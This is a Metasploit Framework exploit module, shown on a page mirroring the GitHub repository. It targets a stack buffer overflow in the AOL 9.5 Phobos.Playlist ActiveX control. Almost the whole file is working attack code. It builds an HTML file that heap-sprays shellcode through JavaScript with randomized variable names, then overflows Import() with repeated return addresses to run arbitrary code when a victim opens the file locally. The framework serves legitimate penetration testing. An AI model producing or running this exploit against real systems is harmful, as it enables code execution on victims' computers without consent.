CoCalc -- aol_phobos

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/aol_phobos_bof.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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##
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# aol_phobos_bof.rb
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#
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# AOL 9.5 Phobos.Playlist 'Import()' Stack-based Buffer Overflow exploit for the Metasploit Framework
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#
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# Tested successfully on the following platforms:
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#  - AOL 9.5 (Revision 4337.155) on Internet Explorer 7, Windows XP SP3
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#
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# Phobos.dll version tested:
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# File Version: 9.5.0.1
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# ClassID: A105BD70-BF56-4D10-BC91-41C88321F47C
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# RegKey Safe for Script: False
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# RegKey Safe for Init: False
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# Implements IObjectSafety: False
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# KillBitSet: False
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#
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# Due to the safe for initialization and safe for scripting settings of this ActiveX control,
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# exploitation is possible only from Local Machine Zone, which means the victim must run the
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# generated exploit file locally.
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#
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# Trancer
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# http://www.rec-sec.com
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5.
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          By setting an overly long value to 'Import()', an attacker can overrun a buffer
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          and execute arbitrary code.
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          NOTE: This ActiveX control is NOT marked safe for scripting or initialization.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Trancer <mtrancer[at]gmail.com>'
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        ],
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        'References' => [
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          [ 'OSVDB', '61964'],
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          [ 'EDB', '11204' ],
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          [ 'URL', 'http://www.rec-sec.com/2010/01/25/aol-playlist-class-buffer-overflow/' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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          'DisablePayloadHandler' => true
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00\x09\x0a\x0d'\\",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C, 'Offset' => 1000 } ]
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        ],
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        'DisclosureDate' => '2010-01-20',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),
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      ]
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    )
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  end
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  def exploit
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    # Encode the shellcode
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Setup exploit buffers
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    nops = Rex::Text.to_unescape([target.ret].pack('V'))
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    ret = Rex::Text.uri_encode([target.ret].pack('L'))
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    blocksize = 0x40000
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    fillto = 500
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    offset = target['Offset']
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    # Randomize the javascript variable names
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    phobos = rand_text_alpha(rand(100) + 1)
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    j_shellcode = rand_text_alpha(rand(100) + 1)
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    j_nops = rand_text_alpha(rand(100) + 1)
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    j_ret = rand_text_alpha(rand(100) + 1)
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    j_headersize = rand_text_alpha(rand(100) + 1)
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    j_slackspace = rand_text_alpha(rand(100) + 1)
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    j_fillblock = rand_text_alpha(rand(100) + 1)
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    j_block = rand_text_alpha(rand(100) + 1)
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    j_memory = rand_text_alpha(rand(100) + 1)
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    j_counter = rand_text_alpha(rand(30) + 2)
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    j_bla = rand_text_alpha(rand(8) + 4)
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    html = %Q|<html>
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<object classid='clsid:A105BD70-BF56-4D10-BC91-41C88321F47C' id='#{phobos}'></object>
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<script>
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#{j_shellcode}=unescape('#{shellcode}');
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#{j_nops}=unescape('#{nops}');
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#{j_headersize}=20;
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#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
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while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
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#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
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#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
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while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
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#{j_memory}=new Array();
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for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
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var #{j_ret}='';
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for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
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#{phobos}.Import(#{j_ret},'#{j_bla}','True','True');
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</script>
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</html>|
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    print_status("Creating '#{datastore['FILENAME']}' file ...")
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    file_create(html)
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  end
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end
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